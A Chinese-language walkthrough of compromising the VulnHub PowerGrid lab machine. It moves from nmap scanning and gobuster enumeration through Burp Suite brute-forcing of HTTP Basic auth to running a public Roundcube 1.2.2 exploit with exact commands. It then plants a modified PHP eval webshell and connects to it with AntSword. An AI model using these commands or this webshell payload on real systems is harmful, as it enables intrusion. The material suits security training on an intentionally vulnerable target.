记录一下实战渗透PowerGrid靶机全流程
1,前期部署
https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova
从官网下载PowerGrid靶机,格式为ova文件。将其拖拽到vmware中,安装完成后在设置中找到网络适配器,在网络连接中选择自定义,选择和攻击机一样的网络。这边选择的是自带的VMnet1。设置完成后将靶机启动。
攻击机选择kali2026.2,在桌面创建PowerGrid文件夹。
2,信息收集
打开终端,先查看攻击机IP
ip a ifconfig得到攻击机IP:192.168.221.254
利用nmap查看靶机IP
sudo nmap -sn 192.168.221.0/24发现靶机IP:192.168.221.128
进一步信息收集
sudo nmap --min-rate 10000 -p- 192.168.221.128 -oA nmap1--min-rate:指定最低速率
-p-:指定扫描全部端口
-oA:结果保存进nmap1文件中
扫描结果发现该靶机开放了80,143,993端口,其中80为常见的http默认端口,所以打开浏览器进一步搜索,发现web界面
通过主页文本,看到了几个关键名:deez1, p48,all2,Cymru1 Hacking Team,Powergrid
先记录下来:
cat <<'redeyes' > name继续利用nmap进行信息收集
udp端口扫描:
sudo nmap -sU --top-ports 100 192.168.221.128 -oA nmap_udp-sU:指定扫描udp端口
--top-ports 100:指定扫描常见的100个端口
漏洞扫描:
sudo nmap --script=vuln -p80,143,993 192.168.221.128 -oA nmap_script--script=vuln:检测已知漏洞
-p:指定扫描端口号
详细扫描:
sudo nmap -sS -n -Pn -p 80,143,993,1 -sV -O 192.168.221.128 -oA nmap_all-sS:指定半开放扫描
-n:不做DNS解析
-Pn:不做探活
-sV:探测服务和服务版本
-O:探测操作系统(需添加未开放端口号,这里添加的是1)
三者均未发现有效信息
3,目录遍历(利用kali自带gobuster)
gobuster dir -u 192.168.221.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --useragent 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0'-u:指定url
-w:指定字典
--useragent:伪造useragent(可加可不加)
--discover-backup:找备份文件(可加可不加)
-x:寻找指定后缀文件(可加可不加)
发现zmail,进去看看,发现一个简单认证,做一下爆破。
4,简单认证爆破
尝试用burpsuite爆破
这里直接使用物理机上的burpsuite
打开内嵌浏览器,输入192.168.221.128/zmail,开启监听,随便输入用户名和密码,提交,将请求发送到控制器上
这里看到Authorization的值并不是我们提交的值,想到解码,进行base64解码
选择Cluster Bomb模式,我们这边提交的用户名是111,密码是222,Authorization解码后的值是111:222。添加两个payload位置,一个在111处,一个在:222处。payload1选择用户名生成器,添加p48,deez1,all2,Cymru1 Hacking Team,powergrid,payload2使用burpsuite自带密码字典。payload1添加base64编码处理,payload2进行两个处理,一个是添加前缀“:”,另一个是进行base64编码。尝试爆破。
失败,发现是base64编码出了问题,如果进行两次编码,payload1编码后后缀会出现=,导致无法解码。换个思路,选择sniper攻击,payload模式选择自定义迭代器。找一个用户名生成器,这里用的是hashcat。
github下载hashcat—windows版本,解压后在rule文件夹中找到best66.rule,复制一份到与hashcat.exe相同路径下,将我们在kali中保存的name文件也保存在相同路径下,使用hashcat:
hashcat.exe --stdout name -r best66.rule > username.txt--stdout:指定标准输出
-r:指定规则
>:指定保存在特定文件中
得到username.txt文件
payload1指定使用username.txt,分隔符选择“:”,payload2选择burpsuite自带密码本。payload进行base64编码处理。尝试爆破。(注意,不要使用中文:)
失败,思路没问题,但没爆破出来。不相信burpsuite自带密码本了,选择rockyou密码本再尝试一遍。
成功,得到用户名p48以及密码electrico。进入到一个roundcube的登陆界面。先用p48和electrico的组合试一遍,发现直接进去了。这里如果失败估计还得做一遍爆破了。
5,立足点
再次进行信息收集:
从界面布置可以大致猜测roundcube是一个邮箱系统。从界面中存在的about中我们可以得知roundcube版本号是1.2.2。从邮箱中的邮件可以得到一串加密的ssh密钥。
从上述已知信息中,似乎只有roundcube的版本号有点用处。在网上搜索一下这个版本有没有已知漏洞,这一搜不仅搜到了对漏洞的详细介绍,还搜到了现成的攻击脚本。下载下来,发现是一个利用漏洞编写后门的脚本。根据readme中的方式,安装后门
/exploit.py --host192.168.221.128 --user p48 --pwd electrico --path zmail --www_path "/var/www/html/zmail/"根据漏洞描述中的内容设置参数,失败,寻找原因。
在网上看了点帖子,发现之所以失败是因为脚本在简单认证那步卡住了,所以修改一下:
/exploit.py --host p48:electrico@192.168.221.128 --user p48 --pwd electrico --path zmail --www_path "/var/www/html/zmail/"成功,按照它给的提示访问一下backdoor.php
发现这个backdoor功能似乎有点羸弱,检查一下python源码,发现它原本应该写入的php代码,稍作修改:
?php @eval($_POST['post']);?>再次运行一遍脚本,尝试用中国蚁剑连接一下,失败,想到有可能是和第一次脚本运行失败一样出现了相同的问题:简单认证没过去。于是url地址改成了p48:electrico@192.168.221.128,再次连接,失败,测试连接通过了,但是无法连接到终端。说明思路正确。
再次修改,添加请求头,name:Authorization,value:Basic cDQ4OmVsZWN0cmljbw%3d%3d,再次尝试。
成功进入终端界面。